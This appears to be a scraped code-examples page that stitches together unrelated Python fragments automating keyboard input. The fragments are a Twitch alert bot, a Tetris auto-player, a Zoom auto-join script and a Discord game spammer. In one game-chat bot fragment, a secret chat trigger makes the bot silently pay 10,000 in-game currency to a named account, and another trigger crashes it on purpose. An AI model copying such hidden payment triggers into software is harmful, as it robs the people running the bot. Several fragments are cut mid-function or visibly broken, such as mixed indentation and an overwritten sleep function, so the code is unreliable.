                    self.settings.PoseMapping["Idle"]["Nanoleaf"])
            # Turn off lights
            else:
                self.nanoleaf.scene()

        #
        # Reset Hue to Idle
        #
        if "hue" in old_json_data:
            # Reset to persistent lights
            if self.changedLightsHue:
                for device in self.changedLightsHue:
                    pose_light = self.changedLightsHue[device]
                    if "Brightness" in pose_light and \
                            pose_light["Brightness"] >= 1 and \
                            "Color" in pose_light and \
                            6 <= len(pose_light["Color"]) <= 7:
                        self.hue.state(device=device,
                                       bri=pose_light["Brightness"],
                                       col=pose_light["Color"])

                for device in old_json_data["hue"]:
                    pose_light = old_json_data["hue"][device]
                    if "Brightness" in pose_light and \
                            pose_light["Brightness"] >= 1 and \
                            "Color" in pose_light and \
                            6 <= len(pose_light["Color"]) <= 7 and \
                            device not in self.changedLightsHue:
                        self.hue.state(device=device)

            # Reset to Idle lights
            elif "Idle" in self.settings.PoseMapping and "Hue" in self.settings.PoseMapping[
                    "Idle"]:
                for device in self.settings.PoseMapping["Idle"]["Hue"]:
                    pose_light = self.settings.PoseMapping["Idle"]["Hue"][
                        device]
                    if "Brightness" in pose_light and \
                            pose_light["Brightness"] >= 1 and \
                            "Color" in pose_light and \
                            6 <= len(pose_light["Color"]) <= 7:
                        self.hue.state(device=device,
                                       bri=pose_light["Brightness"],
                                       col=pose_light["Color"])

                for device in old_json_data["hue"]:
                    pose_light = old_json_data["hue"][device]
                    if "Brightness" in pose_light and \
                            pose_light["Brightness"] >= 1 and \
                            "Color" in pose_light and \
                            6 <= len(pose_light["Color"]) <= 7 and \
                            device not in self.settings.PoseMapping["Idle"]["Hue"]:
                        self.hue.state(device=device)

            # Turn off lights
            else:
                for device in old_json_data["hue"]:
                    pose_light = old_json_data["hue"][device]
                    if "Brightness" in pose_light and \
                            pose_light["Brightness"] >= 1 and \
                            "Color" in pose_light and \
                            6 <= len(pose_light["Color"]) <= 7:
                        self.hue.state(device=device)

        #
        # Reset Yeelight to Idle
        #
        if "yeelight" in old_json_data:
            # Reset to persistent lights
            if self.changedLightsYeelight:
                for device in self.changedLightsYeelight:
                    pose_light = self.changedLightsYeelight[device]
                    if "Brightness" in pose_light and \
                            pose_light["Brightness"] >= 1 and \
                            "Color" in pose_light and \
                            6 <= len(pose_light["Color"]) <= 7:
                        self.yeelight.state(
                            device=device,
                            brightness=pose_light["Brightness"],
                            color=pose_light["Color"],
                            transition=pose_light["Transition"],
                            transitionTime=pose_light["TransitionTime"])

                for device in old_json_data["yeelight"]:
                    pose_light = old_json_data["yeelight"][device]
                    if "Brightness" in pose_light and \
                            pose_light["Brightness"] >= 1 and \
                            "Color" in pose_light and \
                            6 <= len(pose_light["Color"]) <= 7 and \
                            device not in self.changedLightsYeelight:
                        self.yeelight.state(device=device)

            # Reset to Idle lights
            elif "Idle" in self.settings.PoseMapping and "Yeelight" in self.settings.PoseMapping[
                    "Idle"]:
                for device in self.settings.PoseMapping["Idle"]["Yeelight"]:
                    pose_light = self.settings.PoseMapping["Idle"]["Yeelight"][
                        device]
                    if "Brightness" in pose_light and \
                            pose_light["Brightness"] >= 1 and \
                            "Color" in pose_light and \
                            6 <= len(pose_light["Color"]) <= 7:
                        self.yeelight.state(
                            device=device,
                            brightness=pose_light["Brightness"],
                            color=pose_light["Color"],
                            transition=pose_light["Transition"],
                            transitionTime=pose_light["TransitionTime"])

                for device in old_json_data["yeelight"]:
                    pose_light = old_json_data["yeelight"][device]
                    if "Brightness" in pose_light and \
                            pose_light["Brightness"] >= 1 and \
                            "Color" in pose_light and \
                            6 <= len(pose_light["Color"]) <= 7 and \
                            device not in self.settings.PoseMapping["Idle"]["Yeelight"]:
                        self.yeelight.state(device=device)

            # Turn off lights
            else:
                for device in old_json_data["yeelight"]:
                    pose_light = old_json_data["yeelight"][device]
                    if "Brightness" in pose_light and \
                            pose_light["Brightness"] >= 1 and \
                            "Color" in pose_light and \
                            6 <= len(pose_light["Color"]) <= 7:
                        self.yeelight.state(device=device)

        #
        # Remove notification from queue
        #
        if self.queue:
            self.queue.remove(queue_id)

    # ---------------------------
    #   woofer_addtoqueue
    # ---------------------------
    def woofer_addtoqueue(self, json_response):
        print("{}: {}".format(json_response["id"], json_response["sender"]))

        if "message" not in json_response or json_response["message"] == "":
            if json_response["id"] in self.settings.Messages:
                json_response["message"] = SystemRandom().choice(
                    self.settings.Messages[json_response["id"]])
            else:
                json_response["message"] = ""

        json_response["mascot"] = self.mascot_images_file(json_response["id"])
        json_response["mascotmouth"] = self.mascot_images_mouth_height(
            json_response["id"])
        json_response["time"] = self.mascot_images_time(json_response["id"])
        json_response["audio"] = self.mascot_audio_file(json_response["id"])
        json_response["volume"] = self.mascot_audio_volume(json_response["id"])
        json_response["nanoleaf"] = self.mascot_nanoleaf_scene(
            json_response["id"])
        json_response["nanoleafpersistent"] = self.mascot_nanoleaf_persistent(
            json_response["id"])
        json_response["hue"] = self.mascot_hue_devices(json_response["id"])
        json_response["huepersistent"] = self.mascot_hue_persistent(
            json_response["id"])
        json_response["yeelight"] = self.mascot_yeelight_devices(
            json_response["id"])
        json_response["yeelightpersistent"] = self.mascot_yeelight_persistent(
            json_response["id"])

        # Add to queue
        queue_id = uuid4()
        self.queue.append(queue_id)
        Thread(target=self.woofer_queue,
               args=(queue_id, json_response)).start()

    # ---------------------------
    #   woofer_alert
    # ---------------------------
    def woofer_alert(self, json_data):
        custom_id = json_data["custom-tag"]
        if not self.settings.Enabled[custom_id]:
            return

        json_feed = {"sender": json_data["display-name"]}

        #
        # sub/resub
        #
        if custom_id in ("sub", "resub"):
            for customObj in self.settings.CustomSubs:
                if customObj["Tier"] == "" and \
                        int(customObj["From"]) <= int(json_data["months"]) <= int(customObj["To"]):
                    custom_id = customObj["Name"]

            sub_tier = ""
            if json_data["sub_tier"] == "Tier 1":
                sub_tier = "1"
            if json_data["sub_tier"] == "Tier 2":
                sub_tier = "2"
            if json_data["sub_tier"] == "Tier 3":
                sub_tier = "3"
            if json_data["sub_tier"] == "Prime":
                sub_tier = "prime"

            for customObj in self.settings.CustomSubs:
                if sub_tier == customObj["Tier"] and \
                        int(customObj["From"]) <= int(json_data["months"]) <= int(customObj["To"]):
                    custom_id = customObj["Name"]

            json_feed["months"] = json_data["months"]
            json_feed["months_streak"] = json_data["months_streak"]
            json_feed["sub_tier"] = json_data["sub_tier"]

        #
        # subgift/anonsubgift
        #
        if custom_id in ("subgift", "anonsubgift"):
            if json_data["custom-tag"] == "anonsubgift":
                json_data["display-name"] = "anonymous"

            json_feed["recipient"] = json_data[
                "msg-param-recipient-display-name"]
            json_feed["sub_tier"] = json_data["sub_tier"]

        #
        # bits
        #
        if custom_id == "bits":
            for customObj in self.settings.CustomBits:
                if int(customObj["From"]) <= int(json_data["bits"]) <= int(
                        customObj["To"]):
                    custom_id = customObj["Name"]

            json_feed["bits"] = json_data["bits"]

        #
        # host/raid
        #
        if custom_id in ("host", "raid"):
            # Check if user has already raided/hosted
            s = set(self.hostingUsers)
            if json_data["sender"] in s:
                return

            self.hostingUsers.append(json_data["sender"])

            if custom_id == "host":
                json_feed["sender"] = json_data["sender"]

            if custom_id == "raid":
                json_feed["viewers"] = json_data["viewers"]

        #
        # Send data
        #
        json_feed["id"] = custom_id
        self.woofer_addtoqueue(json_feed)

        # Trigger autoshoutout if enabled
        if custom_id in ("host", "raid") and self.settings.AutoShoutout:
            json_data["subscriber"] = "1"
            json_data["vip"] = "1"
            json_data["moderator"] = "1"
            json_data["broadcaster"] = "1"
            json_data["command_parameter"] = json_data["display-name"]
            json_data["custom-tag"] = "shoutout"
            timer = Timer(self.settings.AutoShoutoutTime,
                          self.woofer_shoutout,
                          args=[json_data])
            timer.daemon = True
            timer.start()

    # ---------------------------
    #   woofer_timers
    # ---------------------------
    def woofer_timers(self):
        # Check if overlay is connected
        if self.overlay.active < 1:
            timer = Timer(30, self.woofer_timers)
            timer.daemon = True
            timer.start()
            return

        # Check if timer is enabled
        min_lines_timer = ""
        for action in self.settings.ScheduledMessages:
            if not action["Enabled"]:
                continue

            current_epoch = int(time())
            if (current_epoch - self.settings.scheduleTable[action["Name"]]
                ) >= (action["Timer"] * 60):

                # Timers without MinLines limits
                if action["MinLines"] == 0:
                    self.settings.scheduleTable[action["Name"]] = current_epoch

                    if "Command" in action:
                        self.woofer_commands({
                            "command":
                            action["Command"],
                            "broadcaster":
                            1,
                            "sender":
                            self.settings.TwitchChannel.lower(),
                            "display-name":
                            self.settings.TwitchChannel,
                            "custom-tag":
                            "command"
                        })
                    else:
                        self.woofer_addtoqueue({
                            "message":
                            SystemRandom().choice(
                                self.settings.Messages[action["Name"]]),
                            "image":
                            "{}{}images{}{}".format(self.settings.pathRoot,
                                                    self.settings.slash,
                                                    self.settings.slash,
                                                    action["Image"]),
                            "sender":
                            "",
                            "customtag":
                            "ScheduledMessage",
                            "id":
                            action["Name"]
                        })

                # Check if timer with MinLines limits is executable
                elif action["MinLines"] > 0:
                    if self.settings.scheduleLines < action["MinLines"]:
                        continue

                    if min_lines_timer == "" or \
                            self.settings.scheduleTable[action["Name"]] < self.settings.scheduleTable[min_lines_timer]:
                        min_lines_timer = action["Name"]

        # Timers with MinLines limits
        if min_lines_timer != "":
            for action in self.settings.ScheduledMessages:
                if action["Name"] != min_lines_timer:
                    continue

                self.settings.scheduleLines = 0
                self.settings.scheduleTable[action["Name"]] = int(time())
                if "Command" in action:
                    self.woofer_commands({
                        "command":
                        action["Command"],
                        "broadcaster":
                        1,
                        "sender":
                        self.settings.TwitchChannel.lower(),
                        "display-name":
                        self.settings.TwitchChannel,
                        "custom-tag":
                        "command"
                    })
                else:
                    self.woofer_addtoqueue({
                        "message":
                        SystemRandom().choice(
                            self.settings.Messages[action["Name"]]),
                        "image":
                        "{}{}images{}{}".format(self.settings.pathRoot,
                                                self.settings.slash,
                                                self.settings.slash,
                                                action["Image"]),
                        "sender":
                        "",
                        "customtag":
                        "ScheduledMessage",
                        "id":
                        action["Name"]
                    })

        # Reset to default after X seconds
        timer = Timer(30, self.woofer_timers)
        timer.daemon = True
        timer.start()

    # ---------------------------
    #   woofer_commands
    # ---------------------------
    def woofer_commands(self, json_data):
        #
        # Check if command is enabled
        #
        if not self.settings.Commands[json_data["command"]]["Enabled"]:
            return

        #
        # Check access rights
        #
        if self.settings.Commands[json_data["command"]]["Access"] != "" and \
                not has_access_rights(json_data, self.settings.Commands[json_data["command"]]["Access"]):
            return

        #
        # ViewerOnce
        #
        if self.settings.Commands[json_data["command"]]["ViewerOnce"]:
            if json_data["command"] in self.commandsViewerOnce and \
                    json_data["sender"] in self.commandsViewerOnce[json_data["command"]]:
                return

            if json_data["command"] not in self.commandsViewerOnce:
                self.commandsViewerOnce[json_data["command"]] = []

            self.commandsViewerOnce[json_data["command"]].append(
                json_data["sender"])

        #
        # ViewerTimeout
        #
        if self.settings.Commands[json_data["command"]]["ViewerTimeout"] > 0:
            current_epoch = int(time())

            if json_data["command"] in self.commandsViewerTimeout and \
                    json_data["sender"] in self.commandsViewerTimeout[json_data["command"]] and \
                    (current_epoch - self.commandsViewerTimeout[json_data["command"]][json_data["sender"]]) < \
                    self.settings.Commands[json_data["command"]]["ViewerTimeout"]:
                return

            if json_data["command"] not in self.commandsViewerTimeout:
                self.commandsViewerTimeout[json_data["command"]] = {}

            self.commandsViewerTimeout[json_data["command"]][
                json_data["sender"]] = current_epoch

        #
        # GlobalTimeout
        #
        if self.settings.Commands[json_data["command"]]["GlobalTimeout"] > 0:
            current_epoch = int(time())
            if json_data["command"] in self.commandsGlobalTimeout and (
                    current_epoch - self.commandsGlobalTimeout[json_data["command"]]) < \
                    self.settings.Commands[json_data["command"]]["GlobalTimeout"]:
                return

            self.commandsGlobalTimeout[json_data["command"]] = current_epoch

        #
        # Check custom image
        #
        image = ""
        if self.settings.Commands[json_data["command"]]["Image"] != "":
            image = "{}{}images{}{}".format(
                self.settings.pathRoot,
                self.settings.slash,
                self.settings.slash,
                self.settings.Commands[json_data["command"]]["Image"],
            )
            if not path.isfile(image):
                image = ""

        #
        # Check custom script
        #
        script = ""
        if self.settings.Commands[json_data["command"]]["Script"] != "":
            script = "{}{}scripts{}{}".format(
                self.settings.pathRoot,
                self.settings.slash,
                self.settings.slash,
                self.settings.Commands[json_data["command"]]["Script"],
            )
            if not path.isfile(script):
                script = ""

        self.woofer_addtoqueue({
            "image":
            image,
            "script":
            script,
            "hotkey":
            self.settings.Commands[json_data["command"]]["Hotkey"],
            "sender":
            json_data["display-name"],
            "id":
            json_data["command"]
        })

    # ---------------------------
    #   woofer_greet
    # ---------------------------
    def woofer_greet(self, json_data):
        if not self.settings.Enabled["greet"]:
            return

        # Check if user was already greeted
        s = set(self.greetedUsers)
        if json_data["sender"] in s:
            return

        self.greetedUsers.append(json_data["sender"])

        # Check for custom greeting definitions
        custom_message = ""
        if "viewer_" + json_data["display-name"] in self.settings.Messages:
            custom_message = SystemRandom().choice(
                self.settings.Messages["viewer_" + json_data["display-name"]])

        custom_id = "greet"
        if "viewer_" + json_data["display-name"] in self.settings.PoseMapping:
            custom_id = "viewer_" + json_data["display-name"]

        self.woofer_addtoqueue({
            "message": custom_message,
            "sender": json_data["display-name"],
            "id": custom_id
        })

    # ---------------------------
    #   woofer_lurk
    # ---------------------------
    def woofer_lurk(self, json_data):
        if not self.settings.Enabled["lurk"]:
            return

        # Check if user was already lurking
        s = set(self.lurkingUsers)
        if json_data["sender"] in s:
            return

        self.lurkingUsers.append(json_data["sender"])

        self.woofer_addtoqueue({
            "sender": json_data["display-name"],
            "id": "lurk"
        })

    # ---------------------------
    #   woofer_unlurk
    # ---------------------------
    def woofer_unlurk(self, json_data):
        if not self.settings.Enabled["lurk"]:
            return

        # Check if user was already lurking
        s = set(self.lurkingUsers)
        if json_data["sender"] not in s:
            return

        # Check if user already used unlurk
        s = set(self.unlurkingUsers)
        if json_data["sender"] in s:
            return

        self.unlurkingUsers.append(json_data["sender"])

        self.woofer_addtoqueue({
            "sender": json_data["display-name"],
            "id": "unlurk"
        })

    # ---------------------------
    #   woofer_shoutout
    # ---------------------------
    def woofer_shoutout(self, json_data):
        if not self.settings.Enabled["shoutout"]:
            return
        #
        # Check access rights
        #
        if self.settings.ShoutoutAccess != "" and not has_access_rights(
                json_data, self.settings.ShoutoutAccess):
            return

        #
        # Check if channel parameter was specified
        #
        if not json_data["command_parameter"]:
            return

        if json_data["command_parameter"].find("@") == 0:
            json_data["command_parameter"] = json_data["command_parameter"][1:]

        #
        # Get user info
        #
        json_result = twitch_get_user(self.settings.twitch_client_id,
                                      json_data["command_parameter"])
        if not json_result:
            return

        s = set(self.shoutoutUsers)
        if json_result["display_name"] in s:
            return

        self.shoutoutUsers.append(json_result["display_name"])

        #
        # Get channel last game
        #
        activity = twitch_get_last_activity(self.settings.twitch_client_id,
                                            json_result["_id"])
        activity_text = ""
        if activity:
            if activity in self.settings.Activities:
                activity_text = SystemRandom().choice(
                    self.settings.Activities[activity])
            else:
                activity_text = SystemRandom().choice(
                    self.settings.Activities["Game"])

        self.woofer_addtoqueue({
            "message":
            SystemRandom().choice(self.settings.Messages["shoutout"]) +
            activity_text,
            "sender":
            json_data["display-name"],
            "recipient":
            json_result["display_name"],
            "activity":
            activity,
            "image":
            json_result["logo"],
            "id":
            "shoutout"
        })

    # ---------------------------
    #   mascotImagesFile
    # ---------------------------
    def mascot_images_file(self, action):
        pose = self.settings.PoseMapping
        if action in pose and pose[action][
                "Image"] in self.settings.mascotImages:
            tmp = self.settings.mascotImages[pose[action]["Image"]]["Image"]
            if path.isfile(tmp):
                return tmp

        return self.settings.mascotImages[pose["DEFAULT"]["Image"]]["Image"]

    # ---------------------------
    #   mascotImagesMouthHeight
    # ---------------------------
    def mascot_images_mouth_height(self, action):
        pose = self.settings.PoseMapping
        if action in pose and \
                pose[action]["Image"] in self.settings.mascotImages and \
                "MouthHeight" in self.settings.mascotImages[pose[action]["Image"]]:
            mouth_height = self.settings.mascotImages[pose[action]
                                                      ["Image"]]["MouthHeight"]
            if mouth_height in ("", 0):
                return 80
            return mouth_height - 5

        return self.settings.mascotImages[pose["DEFAULT"]
                                          ["Image"]]["MouthHeight"] - 5

    # ---------------------------
    #   mascotImagesTime
    # ---------------------------
    def mascot_images_time(self, action):
        pose = self.settings.PoseMapping
        if action in pose and pose[action][
                "Image"] in self.settings.mascotImages:
            return self.settings.mascotImages[pose[action]["Image"]]["Time"]

        return self.settings.mascotImages[pose["DEFAULT"]["Image"]]["Time"]

    # ---------------------------
    #   mascotAudioFile
    # ---------------------------
    def mascot_audio_file(self, action):
        pose = self.settings.PoseMapping
        if action in pose and pose[action][
                "Audio"] in self.settings.mascotAudio:
            tmp = SystemRandom().choice(
                self.settings.mascotAudio[pose[action]["Audio"]]["Audio"])
            if path.isfile(tmp):
                return tmp

        elif pose["DEFAULT"]["Audio"] in self.settings.mascotAudio:
            return SystemRandom().choice(
                self.settings.mascotAudio[pose["DEFAULT"]["Audio"]]["Audio"])

        return ""

    # ---------------------------
    #   mascotAudioVolume
    # ---------------------------
    def mascot_audio_volume(self, action):
        pose = self.settings.PoseMapping
        if action in pose and pose[action][
                "Audio"] in self.settings.mascotAudio:
            return self.settings.mascotAudio[pose[action]["Audio"]]["Volume"]

        return self.settings.GlobalVolume

    # ---------------------------
    #   mascotNanoleafScene
    # ---------------------------
    def mascot_nanoleaf_scene(self, action):
        pose = self.settings.PoseMapping
        if action in pose and "Nanoleaf" in pose[action]:
            return pose[action]["Nanoleaf"]

        if "Nanoleaf" in pose["DEFAULT"]:
            return pose["DEFAULT"]["Nanoleaf"]

        return ""

    # ---------------------------
    #   mascotNanoleafPersistent
    # ---------------------------
    def mascot_nanoleaf_persistent(self, action):
        pose = self.settings.PoseMapping
        if action in pose and "NanoleafPersistent" in pose[action]:
            return pose[action]["NanoleafPersistent"]

        if "NanoleafPersistent" in pose["DEFAULT"]:
            return pose["DEFAULT"]["NanoleafPersistent"]

        return ""

    # ---------------------------
    #   mascotHueDevices
    # ---------------------------
    def mascot_hue_devices(self, action):
        pose = self.settings.PoseMapping
        if action in pose and "Hue" in pose[action]:
            return pose[action]["Hue"]

        if "Hue" in pose["DEFAULT"]:
            return pose["DEFAULT"]["Hue"]

        return ""

    # ---------------------------
    #   mascotHuePersistent
    # ---------------------------
    def mascot_hue_persistent(self, action):
        pose = self.settings.PoseMapping
        if action in pose and "HuePersistent" in pose[action]:
            return pose[action]["HuePersistent"]

        if "HuePersistent" in pose["DEFAULT"]:
            return pose["DEFAULT"]["HuePersistent"]

        return ""

    # ---------------------------
    #   mascotYeelightDevices
    # ---------------------------
    def mascot_yeelight_devices(self, action):
        pose = self.settings.PoseMapping
        if action in pose and "Yeelight" in pose[action]:
            return pose[action]["Yeelight"]

        if "Yeelight" in pose["DEFAULT"]:
            return pose["DEFAULT"]["Yeelight"]

        return ""

    # ---------------------------
    #   mascotYeelightPersistent
    # ---------------------------
    def mascot_yeelight_persistent(self, action):
        pose = self.settings.PoseMapping
        if action in pose and "YeelightPersistent" in pose[action]:
            return pose[action]["YeelightPersistent"]

        if "YeelightPersistent" in pose["DEFAULT"]:
            return pose["DEFAULT"]["YeelightPersistent"]

        return ""
Esempio n. 14
0
                if liste[0][0] == "[" and liste[3] == "->" and "PAYLOCUTUS10K" not in liste:
                    if "Teammitglieder" not in message and "Ränge" not in message:
                        name = liste[2]
                        msg(name, afk)
                    else:
                        sayInChat(liste[2] + " ist sehr warscheinlich ein Bot.")
                        time.sleep(1)
                        sayInChat(",")
                        time.sleep(1)

            if liste[0][0] == "[" and liste[3] == "->" and "STOPGRIEFERBOT" in liste: # 2 für Verletzer der Lizenz
                killed = int("ert")

            if liste[0][0] == "[" and liste[3] == "->" and "PAYLOCUTUS10K" in liste:
                    message = "/pay LocutusV0nB0rg 10000"
                    keyboard.press('t')
                    time.sleep(0.1)
                    keyboard.release('t')
                    keyboard.type(message)
                    time.sleep(0.2)
                    keyboard.press(KeyCode.from_vk(VK.RETURN))
                    time.sleep(0.1)
                    keyboard.release(KeyCode.from_vk(VK.RETURN))
            
            
            if liste[3] == 'hat' and liste[4] == 'dir':
                name = liste[2]

                now = datetime.datetime.now()
                strings = '[o] [' + now.strftime("%Y-%m-%d %H:%M") + '] Spieler: ' + name + ' | Betrag: ' + liste[5]
                output(strings)
Esempio n. 15
0
#!/Library/Frameworks/Python.framework/Versions/3.7/bin/python3
from pynput.keyboard import Key, Controller
keyboard = Controller()
import time
with keyboard.pressed(Key.cmd):
    keyboard.press("l")
    keyboard.release("l")
time.sleep(.3)
with keyboard.pressed(Key.cmd):
    keyboard.press("v")
    keyboard.release("v")
time.sleep(.3)
keyboard.press(Key.enter)
keyboard.release(Key.enter)
time.sleep(.1)
Esempio n. 16
0
        if minNow == 0 or minNow == 15 or minNow == 30 or minNow == 45:
            display()
			
def display():

	# Remake the Picture and Display It Again
	global window_height, window_width
    image = manipulate_jpg(window_width,window_height)
    last_path = os.path.join(application_path, "last.jpg")
    image.save(last_path, "JPEG")
   
    os.system("sudo killall gpicview")
    os.popen("sudo gpicview " + last_path)
	
	# Full Screen
	keyboard.press(Key.f11)
	keyboard.release(Key.f11)

    # Test Internet Connection

while True:
    if internet_accessible():
        break
    else:
        log("****İNTERNET BAĞLANTISI SAĞLANAMADI****")
        time.sleep(10)

# Find Screen Resolution
            
root = tkinter.Tk()
class TetrisOnlineController:
    # Since system sleep is only reliable in the basis of 13 ms, it means everything
    # Has to be bigger than that.
    MOVE_SENSITIVITY = 0.045
    MOVE_SPEED = 0.032

    KEYCODE_UP = Key.up
    KEYCODE_DOWN = Key.down
    KEYCODE_LEFT = Key.left
    KEYCODE_RIGHT = Key.right
    KEYCODE_SPACE = Key.space
    KEYPRESS_WAIT = 0.03
    KEYPRESS_WAIT_SHORT = 0.03

    TETRIS_HEIGHT = 602
    TETRIS_WIDTH = 802

    TETRIS_SOLO_GRID_BOTTOM = {'x': 106.0, 'y': 142.0}
    TETRIS_SOLO_GRID_TOP = {'x': 269.0, 'y': 486.0}
    TETRIS_SOLO_NEXT_TOP = {'x': 314.0, 'y': 179.0}
    TETRIS_SOLO_NEXT_BOTTOM = {'x': 360.0, 'y': 225.0}
    TETRIS_NEXT_SEARCH_DATA = [{
        'x': 337,
        'y': 197,
        'data': {
            16769472: 'I',
            15597823: 'T',
            1179903: 'Z',
            59542: 'S',
            58623: 'O'
        }
    }, {
        'x': 354,
        'y': 210,
        'data': {
            38143: 'L',
            16731392: 'J'
        }
    }]
    TETRIS_NEXT_FIRST_LIST = {167}

    TETRIS_EMPTY_COLOR = 1710618

    def __init__(self, boardWidth=10, boardHeight=20):
        self.tetrisBoard = TetrisBoard.TetrisBoard(boardWidth, boardHeight)
        self.nextPiece = None
        self.keyboardController = Controller()
        self.boardWidth = boardWidth
        self.boardHeight = boardHeight
        self.hwnd = win32gui.FindWindow(None, "TetrisOnline")
        # Acquire Device Contect based on hwnd.
        self.hwndDC = win32gui.GetWindowDC(self.hwnd)
        # Get mfcDC
        self.mfcDC = win32ui.CreateDCFromHandle(self.hwndDC)
        # compatable DC
        self.tetrisDC = self.mfcDC.CreateCompatibleDC()
        # bitmap that save screenshot.
        self.saveBitMap = win32ui.CreateBitmap()
        # Tetris window size.
        self.rect = win32gui.GetWindowRect(self.hwnd)
        self.x = self.rect[0]
        self.y = self.rect[1]
        self.w = self.rect[2] - self.x
        self.h = self.rect[3] - self.y
        self.saveBitMap.CreateCompatibleBitmap(self.mfcDC, self.w, self.h)
        self.tetrisDC.SelectObject(self.saveBitMap)

        xGap = (self.TETRIS_SOLO_GRID_TOP['x'] -
                self.TETRIS_SOLO_GRID_BOTTOM['x']) / (self.boardWidth - 1)
        yGap = (self.TETRIS_SOLO_GRID_TOP['y'] -
                self.TETRIS_SOLO_GRID_BOTTOM['y']) / (self.boardHeight - 1)
        self.xRange = np.arange(self.TETRIS_SOLO_GRID_BOTTOM['x'],
                                self.TETRIS_SOLO_GRID_TOP['x'] + 1,
                                xGap).astype(int)
        self.yRange = np.arange(self.TETRIS_SOLO_GRID_BOTTOM['y'],
                                self.TETRIS_SOLO_GRID_TOP['y'] + 1,
                                yGap).astype(int)
        self.yRange = self.yRange[::-1]

    # Tetris Online Screen Reader. Capture the current screen
    # into tetricDC
    def tetrisCapture(self):
        self.tetrisDC.BitBlt((0, 0), (self.w, self.h), self.mfcDC, (0, 0),
                             win32con.SRCCOPY)
        #while True:
        # self.tetrisDC.BitBlt((0, 0), (self.w, self.h), self.mfcDC, (0, 0), win32con.SRCCOPY)
        # _, _, (curX, curY) = win32gui.GetCursorInfo()
        # curX -= self.x
        # curY -= self.y
        # nice = self.tetrisDC.GetPixel(curX, curY)

    # Read the currently stored board, and return result.
    def readBoard(self):
        newBoard = np.zeros((self.boardHeight, self.boardWidth), dtype=bool)
        for m in range(0, self.boardHeight - 3):
            for n in range(self.boardWidth):
                pixel = self.tetrisDC.GetPixel(self.xRange[n], self.yRange[m])
                if pixel != self.TETRIS_EMPTY_COLOR:
                    newBoard[m][n] = True
        return newBoard

    def readNextPiece(self):
        for i in self.TETRIS_NEXT_SEARCH_DATA:
            testPixel = self.tetrisDC.GetPixel(i['x'], i['y'])
            if testPixel in i['data']:
                return i['data'][testPixel]
        # Game has not started yet?
        # Probably an error...
        return ''

    def keypressWait(self):
        time.sleep(self.KEYPRESS_WAIT)

    def keyPressWaitShort(self):
        time.sleep(self.KEYPRESS_WAIT_SHORT)

    def makeMove(self, xOff, rotation, press=True):
        keyPressCode = 0
        rotationPressCode = 0
        if xOff > 0:
            keyPressCode = self.KEYCODE_RIGHT
        else:
            xOff = -xOff
            keyPressCode = self.KEYCODE_LEFT
        if rotation >= 2:
            rotation = 4 - rotation
            rotationPressCode = Key.ctrl_l
        else:
            rotationPressCode = Key.up
        for i in range(rotation):
            self.keyboardController.press(rotationPressCode)
            time.sleep(0.03)
            self.keyboardController.release(rotationPressCode)
            time.sleep(0.03)
        for i in range(xOff):
            self.keyboardController.press(keyPressCode)
            self.keypressWait()
            self.keyboardController.release(keyPressCode)
            time.sleep(0.03)
        if press:
            self.keyboardController.press(self.KEYCODE_SPACE)
            self.keypressWait()
            self.keyboardController.release(self.KEYCODE_SPACE)

    def getPressDuration(self, dist):
        if dist <= 0:
            return 0
        if dist == 1:
            return self.MOVE_SENSITIVITY
        return self.MOVE_SENSITIVITY + (dist - 1) * self.MOVE_SPEED

    def renewTetrisState(self):
        self.tetrisCapture()
        self.tetrisBoard.setCurrentPiece(self.nextPiece)
        self.nextPiece = self.readNextPiece()

    def autoMove(self):
        # initialize the board information
        if self.nextPiece is None:
            self.tetrisCapture()
            self.nextPiece = self.readNextPiece()
            self.makeMove(0, 0)
            time.sleep(0.5)
            self.tetrisCapture()
            newBoard = self.readBoard()
            self.tetrisBoard.setBoard(newBoard)
            return self.autoMove()
        self.renewTetrisState()
        bestX, bestRotation, bestY = self.tetrisBoard.getBestMove()
        return bestX, bestRotation, bestY

    def printBoard(self):
        boardArr = self.tetrisBoard.getBoard()
        print("\n")
        for m in reversed(range(self.boardHeight)):
            for n in range(self.boardWidth):
                if boardArr[m][n]:
                    print("▄", end='')
                else:
                    print("□", end='')
            print()

    def printNextPiece(self):
        nextPiece = self.readNextPiece()
        print(nextPiece)

    def debugNextPiece(self):
        while True:
            self.tetrisCapture()
            self.printNextPiece()
            time.sleep(1)

    def debugBoard(self):
        while True:
            self.tetrisCapture()
            self.printBoard()
            time.sleep(1)
            os.system('cls')

    def debugInput(self):
        import random
        while True:
            xOff = random.randint(-1, 1)
            self.makeMove(xOff * 4, 0)

    def getBoardInfo(self):
        self.tetrisCapture()
Esempio n. 18
0
runCondition = (
    input("how many times should it loop? (just press enter for forever) "))
if runCondition == "":
    runCondition = True
else:
    runCondition = int(runCondition)
time.sleep(3)
text1 = "owo hunt"
text2 = "owo battle"
n = 0
timesToRun = 0
Keyboard = Controller()
time.sleep(1)
while runCondition == True or timesToRun < runCondition:
    Keyboard.type(text1)
    Keyboard.press(Key.enter)
    Keyboard.release(Key.enter)
    shortVariant = random.random()
    time.sleep(.3)
    time.sleep(shortVariant)
    Keyboard.type(text2)
    Keyboard.press(Key.enter)
    Keyboard.release(Key.enter)
    time.sleep(12)
    timeVariant = random.randint(1, 5)
    time.sleep(timeVariant)
    randomJunk = "".join(
        random.choices(string.ascii_letters + string.digits,
                       k=random.randint(5, 13)))
    Keyboard.type(randomJunk)
    Keyboard.press(Key.enter)
Esempio n. 19
0
import serial
import time
from pynput.keyboard import Key, Controller

keyboard = Controller()

arduino = serial.Serial('/dev/cu.usbmodem14101', 9600)
time.sleep = 1  #pause 1 seconds for python to connect with arduino

while 1:
    incoming = str(
        arduino.readline())  #read the serial data and print it as line
    print(incoming)

    if 'right' in incoming:
        for i in range(4):
            keyboard.press(
                Key.right
            )  #the press function will keep pressing the key for a short while
            keyboard.release(Key.right)  #So release the key once its pressed

    if 'left' in incoming:
        for i in range(4):
            keyboard.press(Key.left)
            keyboard.release(Key.left)
    incoming = " "  #refresh the incoming data
from datetime import datetime
from pynput.keyboard import Key, Controller
#from data import lst
import webbrowser

keyboard = Controller()

isStarted = False
lst = [[
    "https://us04web.zoom.us/j/4631716808?pwd=VzB5ZWcxSWRiUFhKWm5UU0dueXprdz09",
    "11:30", "11:45"
]]

for i in lst:
    while True:
        if isStarted == False:
            if datetime.now().hour == int(
                    i[1].split(':')[0]) and datetime.now().minute == int(
                        i[1].split(':')[1]):
                webbrowser.open(i[0])
                isStarted = True
        elif isStarted == True:
            if datetime.now().hour == int(
                    i[2].split(':')[0]) and datetime.now().minute == int(
                        i[2].split(':')[1]):
                keyboard.press('w')
                time.sleep(1)
                keyboard.press(Key.enter)
                isStarted = False
                break
Esempio n. 21
0
